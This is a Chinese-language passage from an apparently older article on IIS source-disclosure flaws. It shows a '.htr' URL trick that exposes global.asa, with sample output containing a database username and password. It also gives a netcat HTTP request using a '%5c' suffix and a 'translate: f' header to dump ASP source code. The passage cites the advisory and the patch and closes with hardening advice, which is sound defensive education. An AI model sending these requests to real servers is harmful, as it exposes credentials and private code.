例如,利用以下的url: http://10.11.11.15/global.asa+.htr可以取得10.11.11.15上面的 global.asa 档案。注意那个数据库连接字符串中的 uid 和 pwd。这给了黑客一个使用者名称以及密码:
script language="vbscript" runat="server">
sub application_onstart
set db = server.createobject("commerce.dbserver")
db.connectionstring = "dsn=trans.db;uid=sa;pwd=n0t4u2c"
db.application = http://10.11.11.15/
set application("db") = db
end sub
sub session_onstart
==visual interdev generated – dataconnection startspan==
–project data connection
session("dataconn_connectionstring") =
"dsn=certsrv;dbq=c:\winnt2\system32\certlog\certsrv.mdb;driverid=25;
fil=ms access;maxbuffersize=512;pagetimeout=5;"
session("dataconn_connectiontimeout") = 15
session("dataconn_commandtimeout") = 30
session("dataconn_runtimeusername") = ""
session("dataconn_runtimepassword") = ""
==visual interdev generated – dataconnection endspan==
end sub
/script
microsoft 已经以修正这项安全漏洞。
在.htr 安全漏洞得到修正之后,黑客们又找到了新的切入点:translate: f 模块的安全漏洞。translate: f 模块是 microsoft 为了 frontpage 2000 以及 frontpage 2000 server extensions on windows 2000 而设计的 webdav 的一部份。如果一个反斜线(\)被附加到所要求的档案资源之后,而且 translate: f 模块在提出回询的 http 表头标题里面,那么网页服务器就会回传完全未经处理的 asp 原始程序代码。
下面是一个使用 netcat(相关网址:http://www.l0pht.com/~weld/netcat/)送出回询的 http 表头,可以用来取得10.11.11.15上面 default.asp 的原始程序代码:
$ nc10.11.11.1580
get /default.asp%5c http/1.0
host: 10.11.11.15
user-agent: mozilla/4.0
content-length: 18
content-type: text/html
translate: f
match=www&errors=0
注意:在 get 回询中,用了%5c。 反斜线字符(\)的十六位 ascii 码表示方式就是 %5c。 这个方法,在 asp 以及 asa 的档案里面都可以使用。另外,在iis 4.0 上安装运行frontpage 2000 server extensions 会存在这种安全漏洞。如果你相进一步了解该项安全漏洞的更多信息,可以在 http://www.securityfocus.com/bid/1578 ,此外microsoft 也已经公布了修复的patch (下载网址:http://download.microsoft.com/download/win2000platform/patch/q256888/nt5/en-us/q256888_w2k_sp1_x86_en.exe。)
结论:
系统架设时的不小心,程序编写时的不注意,往往就是可能导致泄密的主因。为了减少你的网页服务器不会再遭受这种安全漏洞的威胁,你要确定你的网页服务器没有任何会泄漏珍贵信息的程序或不必要的 script 以及档案,只安装你需要的东西,并且定期使用安全检测软件对服务器进行检查,到网上了解最新的系统安全消息和知识。
